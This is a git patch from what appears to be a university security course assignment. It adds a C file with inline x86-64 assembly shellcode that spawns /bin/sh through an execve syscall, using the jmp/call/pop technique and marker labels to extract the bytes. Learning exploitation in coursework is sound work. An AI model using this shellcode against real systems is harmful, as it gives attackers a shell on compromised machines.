From 5d6c89bf421cd044dff8d9f653e77972f8161403 Mon Sep 17 00:00:00 2001 From: Camil Staps Date: Wed, 13 Jan 2016 15:57:36 +0100 Subject: Assignment 6 --- CamilStaps-s4498062-Assignment-6/shell.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 CamilStaps-s4498062-Assignment-6/shell.c (limited to 'CamilStaps-s4498062-Assignment-6/shell.c') diff --git a/CamilStaps-s4498062-Assignment-6/shell.c b/CamilStaps-s4498062-Assignment-6/shell.c new file mode 100644 index 0000000..6d12e02 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/shell.c @@ -0,0 +1,14 @@ +int main() { + asm("\ +needle0: jmp there\n\ +here: pop %rdi\n\ + xor %rax, %rax\n\ + movb $0x3b, %al\n\ + xor %rsi, %rsi\n\ + xor %rdx, %rdx\n\ + syscall\n\ +there: call here\n\ +.string \"/bin/sh\"\n\ +needle1: .octa 0xdeadbeef\n\ + "); +} -- cgit v1.2.3